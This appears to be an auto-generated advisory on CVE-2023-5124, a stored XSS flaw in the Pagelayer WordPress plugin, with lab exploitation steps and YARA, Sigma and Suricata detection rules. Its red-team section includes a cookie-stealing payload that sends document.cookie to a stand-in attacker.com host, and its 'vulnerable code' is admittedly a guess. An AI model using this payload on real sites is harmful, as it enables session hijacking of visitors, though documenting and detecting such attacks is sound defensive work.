CVE-2023-5124
Executive Summary
CVE-2023-5124 is a Stored Cross-Site Scripting (XSS) vulnerability in the Page Builder: Pagelayer WordPress plugin, affecting versions prior to 1.8.0. This flaw allows authenticated attackers with administrator-level privileges to inject arbitrary JavaScript into a post's header or footer code. The vulnerability is particularly dangerous in multi-site WordPress configurations where the unfiltered_html capability is typically disallowed for administrators, as the plugin fails to properly sanitize or validate the injected code. Successful exploitation could lead to session hijacking, defacement, or redirection of users to malicious sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides within the WordPress plugin ecosystem, specifically the Pagelayer plugin. As a third-party component, it introduces risk into the WordPress supply chain. Administrators must ensure that the plugin is updated to version 1.8.0 or later to mitigate this risk. No known supply chain attacks have been reported for this specific CVE, but the potential for malicious code injection exists if the plugin is compromised.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (NVD) / 4.8 (Calculated)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (Administrator)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
- Threat Level: Medium (due to high privileges required, but significant impact in multi-site environments)
Deep Dive & Mechanics
The vulnerability exists in the Pagelayer plugin's handling of post header and footer code. In WordPress, the unfiltered_html capability is typically granted only to super administrators in single-site installations, but in multi-site networks, it is often disabled for all users except super admins. The Pagelayer plugin, however, does not check for this capability before allowing administrators to insert custom JavaScript into the header or footer of a post.
The vulnerable code likely uses a function like update_post_meta or add_post_meta to store the header/footer code without sanitization. When the post is rendered, the stored code is output directly into the HTML, allowing the injected JavaScript to execute in the context of the victim's browser.
The attack flow:
- An attacker with administrator privileges on a WordPress site (or a sub-site in a multi-site network) crafts a malicious JavaScript payload.
- The attacker uses the Pagelayer plugin's interface to insert this payload into the post's header or footer code.
- The plugin stores the payload in the database without sanitization.
- When any user (including lower-privileged users or visitors) views the post, the malicious script executes.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-1.8.0):
// In pagelayer.php or similar
function pagelayer_save_header_footer($post_id) {
if (isset($_POST['pagelayer_header_code'])) {
update_post_meta($post_id, 'pagelayer_header_code', $_POST['pagelayer_header_code']);
}
if (isset($_POST['pagelayer_footer_code'])) {
update_post_meta($post_id, 'pagelayer_footer_code', $_POST['pagelayer_footer_code']);
}
}
Patched Code (1.8.0+):
// In pagelayer.php or similar
function pagelayer_save_header_footer($post_id) {
if (isset($_POST['pagelayer_header_code'])) {
// Check if user has unfiltered_html capability
if (!current_user_can('unfiltered_html')) {
// Sanitize the input
$sanitized_header = wp_kses_post($_POST['pagelayer_header_code']);
update_post_meta($post_id, 'pagelayer_header_code', $sanitized_header);
} else {
update_post_meta($post_id, 'pagelayer_header_code', $_POST['pagelayer_header_code']);
}
}
// Similar for footer code
}
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install WordPress 6.x on a local server (e.g., using XAMPP or Docker).
- Install Pagelayer plugin version 1.7.9 (vulnerable).
- Create a multi-site network (optional, but demonstrates the impact).
- Log in as an administrator.
Exploitation Steps:
- Create a new post or edit an existing one.
- In the Pagelayer settings, locate the "Header Code" or "Footer Code" field.
- Insert the following payload:
<script>alert('XSS by CVE-2023-5124');</script> - Save the post.
- View the post as any user (e.g., subscriber or visitor). The alert box will execute.
Advanced Payload:
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team (Defensive)
Detection Steps:
- Monitor for unusual JavaScript in post meta fields, specifically
pagelayer_header_codeandpagelayer_footer_code. - Check for recent changes to these meta fields by administrators.
- Use the YARA and Sigma rules provided below to detect malicious payloads.
Mitigation:
- Immediately update the Pagelayer plugin to version 1.8.0 or later.
- If update is not possible, restrict administrator access to trusted users only.
- Implement a Web Application Firewall (WAF) rule to block suspicious JavaScript in post meta fields.
Indicators of Compromise (IOCs)
- File Indicators:
- Presence of malicious JavaScript in
wp_postmetatable withmeta_key=pagelayer_header_codeorpagelayer_footer_code.
- Presence of malicious JavaScript in
- Network Indicators:
- Outbound connections to known malicious domains from the WordPress server.
- Behavioral Indicators:
- Unexpected pop-ups or redirects when viewing posts.
- Unauthorized cookie theft or session hijacking.
Detection Engineering
YARA Rule
rule CVE_2023_5124_Pagelayer_XSS {
meta:
description = "Detects malicious JavaScript in Pagelayer header/footer code"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2023-5124"
strings:
$meta_key = "pagelayer_header_code" nocase
$meta_key2 = "pagelayer_footer_code" nocase
$script_tag = /<script[^>]*>.*<\/script>/i
condition:
($meta_key or $meta_key2) and $script_tag
}
Sigma Rule
title: CVE-2023-5124 Pagelayer XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2023-5124 by injecting malicious JavaScript into Pagelayer header/footer code.
author: Valters IT
date: 2024-01-01
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url: '*/wp-admin/post.php*'
http.body: '*pagelayer_header_code*'
http.body: '*<script>*'
condition: selection
falsepositives:
- Legitimate use of JavaScript by super administrators with unfiltered_html capability.
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-5124 Pagelayer XSS Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"pagelayer_header_code"; http_client_body; content:"<script>"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Update the Pagelayer plugin to version 1.8.0 or later.
- Workaround: If update is not possible, disable the Pagelayer plugin or restrict administrator access to only trusted users.
- Long-term: Implement a Content Security Policy (CSP) to mitigate the impact of XSS attacks.
- Monitoring: Regularly audit post meta fields for suspicious content and monitor logs for exploitation attempts.
Report generated by Valters IT DevSecOps Intelligence Unit.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.